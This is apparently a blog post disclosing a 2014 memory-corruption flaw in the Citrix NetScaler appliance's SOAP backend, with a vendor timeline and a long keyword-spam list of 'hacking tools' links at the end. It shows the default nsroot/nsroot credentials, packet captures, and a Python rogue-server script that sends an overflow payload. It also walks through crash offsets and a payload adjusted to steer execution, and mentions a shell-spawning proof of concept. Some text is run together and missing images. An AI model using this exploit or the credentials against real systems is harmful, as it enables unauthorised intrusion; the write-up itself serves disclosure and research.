http://www.citrix.com/products/netscaler-application-delivery-controller/try.html
Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):
/etc/httpd
# SOAP handlerIt wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");
Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"
protected function command_execution($command, $parameters, $use_api = true) {For giggles I set it to false and gave it a whirl, worked as expected :(
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
}
root@ns# tcpdump -Ani lo0 -s0 port 80I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>
I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:
import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()
Which provided the following awesome log entry in the Netscaler VM window:
Loading the dump up in gdb we get the following (promising looking):
An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:
Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP
resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )
And of course, the money shot:
A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)
It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:
6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure
Related links
- Hacking Tools For Games
- Physical Pentest Tools
- Pentest Automation Tools
- How To Make Hacking Tools
- Hacking Tools For Pc
- Pentest Tools Bluekeep
- What Is Hacking Tools
- Pentest Tools Apk
- Hacking Tools For Pc
- Github Hacking Tools
- Underground Hacker Sites
- Hacking Tools Kit
- Hacker Tools For Windows
- Hacking Tools For Beginners
- Pentest Tools Tcp Port Scanner
- Computer Hacker
- Computer Hacker
- Hacker Tools 2020
- Pentest Tools Subdomain
- Pentest Tools Subdomain
- Nsa Hack Tools Download
- Hak5 Tools
- What Are Hacking Tools
- Hack Website Online Tool
- Hacker Search Tools
- Hack Tools
- Hacker Tools For Ios
- Hack Tools For Pc
- Pentest Tools Free
- Pentest Tools Windows
- Usb Pentest Tools
- Pentest Tools Review
- Growth Hacker Tools
- Hacker Hardware Tools
- Hacker Tools Windows
- Hacker Tools List
- Pentest Tools Download
- Hack Tools For Ubuntu
- Android Hack Tools Github
- Hack Tools For Ubuntu
- Pentest Tools Android
- How To Make Hacking Tools
- Pentest Tools Url Fuzzer
- Pentest Box Tools Download
- Hacking Tools Software
- Pentest Automation Tools
- Hack Tool Apk No Root
- Pentest Automation Tools
- Hack Tools 2019
- Hacker Tools List
- Hacking Tools Github
- Hacker Tools 2020
- Hack Tools Pc
- Pentest Tools Kali Linux
- Android Hack Tools Github
- Hack Tools
- Pentest Tools Open Source
- Hacking Tools For Games
- Pentest Automation Tools
- Android Hack Tools Github
- Hacking App
- Hacking Tools Free Download
- Hacker Security Tools
- Hacking Tools Download
- Hack Tools
- Hacking Tools 2019
- What Is Hacking Tools
- Pentest Automation Tools
- Hacker Tools Free
- Growth Hacker Tools
- Hacker Tools Windows
- Pentest Tools Alternative
- Hacking Tools Usb
- Termux Hacking Tools 2019
- Pentest Tools Tcp Port Scanner
- Hack Tools
- Hacking Tools Kit
- Pentest Tools Windows
- Hacking Tools 2020
- Hack Tools For Games
- Ethical Hacker Tools
- Hack Tools For Games
- Pentest Tools Review
- Pentest Tools
- Hacker Tools Free
- Pentest Tools Android
- Hacking Tools Hardware
- Pentest Tools For Ubuntu
- Hack Tools Github
- Hacker Tools Mac
- How To Make Hacking Tools
- Beginner Hacker Tools
- Hacking Tools Name
- Hacker Tools Windows
- Hack Tools For Windows
- Hack Apps
- Hacking Apps
- Bluetooth Hacking Tools Kali
- Pentest Tools Find Subdomains
- Pentest Tools Website Vulnerability
- Hacker Hardware Tools
- World No 1 Hacker Software